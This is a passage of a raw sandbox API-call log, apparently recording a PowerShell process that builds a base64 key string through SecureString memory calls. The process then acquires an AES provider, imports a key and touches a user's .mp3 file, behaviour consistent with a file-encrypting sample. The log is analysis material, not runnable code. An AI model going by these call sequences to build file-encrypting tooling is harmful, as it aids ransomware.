MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.716] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0236.716] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0236.716] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.717] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0236.717] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.717] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0236.717] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0236.717] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0236.717] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0236.717] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.718] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0236.718] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.718] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0236.718] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0236.718] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.718] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0236.718] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.718] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0236.718] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0236.718] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.718] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0236.718] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.719] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0236.719] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0236.719] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.719] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0236.719] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.719] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0236.719] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0236.719] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.719] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0236.719] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.719] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0236.719] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0236.719] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.720] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0236.720] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.720] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0236.720] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0236.720] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.720] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0236.720] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.720] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0236.720] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0236.720] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.720] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0236.720] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.721] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0236.721] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0236.721] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0236.721] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0236.721] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.721] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0236.721] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.721] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0236.722] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0236.722] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.722] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0236.722] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.722] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0236.722] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0236.722] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.722] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0236.722] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.722] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0236.722] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0236.722] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.722] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0236.722] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.723] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0236.723] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0236.723] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.723] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0236.723] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.723] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0236.723] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0236.723] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.723] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0236.723] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.723] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0236.723] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0236.723] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.724] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0236.724] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.724] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0236.724] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0236.724] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.724] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0236.724] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.724] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0236.724] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0236.724] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0236.725] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0236.725] SystemFunction041 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.725] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0236.725] SystemFunction040 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.725] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0236.725] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0236.725] SystemFunction041 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.725] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0236.725] SystemFunction040 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.725] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0236.725] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0236.725] SystemFunction041 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.726] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0236.726] SystemFunction040 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.726] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0236.726] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0236.726] SystemFunction041 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.726] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0236.726] SystemFunction040 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.726] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0236.726] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0236.726] SystemFunction041 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.726] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0236.726] SystemFunction040 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.727] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0236.727] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0236.727] SystemFunction041 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.727] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0236.727] SystemFunction040 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.727] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0236.727] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0236.727] SystemFunction041 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.727] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0236.727] SystemFunction040 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.727] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0236.727] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0236.727] SystemFunction041 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.728] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0236.728] SystemFunction040 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.728] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0236.728] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0236.728] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0236.728] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0236.728] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0236.728] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0236.729] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0236.729] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0236.729] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0236.729] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0236.729] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0236.729] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0236.729] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0236.729] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0236.729] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0236.729] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0236.729] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0236.730] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0236.730] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0236.730] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0236.730] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0236.730] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0236.730] EtwEventActivityIdControl () returned 0x0 [0236.730] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0236.730] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0236.730] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0236.730] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0236.732] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d3a8) returned 1 [0236.734] CryptImportKey (in: hProv=0x5c4d3a8, pbData=0x2365e30*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c69200) returned 1 [0236.734] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0236.734] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.735] EtwEventActivityIdControl () returned 0x0 [0236.735] EtwEventActivityIdControl () returned 0x0 [0236.735] EtwEventActivityIdControl () returned 0x0 [0236.742] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\zdzv.mp3")) returned 0x20 [0236.743] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\zdzv.mp3")) returned 0x20 [0236.743] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0236.743] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3", lpFilePart=0x0) returned 0x44 [0236.743] EtwEventActivityIdControl () returned 0x0 [0236.744] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.744] EtwEventActivityIdControl () returned 0x0 [0236.744] EtwEventActivityIdControl () returned 0x0 [0236.744] EtwEventActivityIdControl () returned 0x0 [0236.750] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0236.750] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: 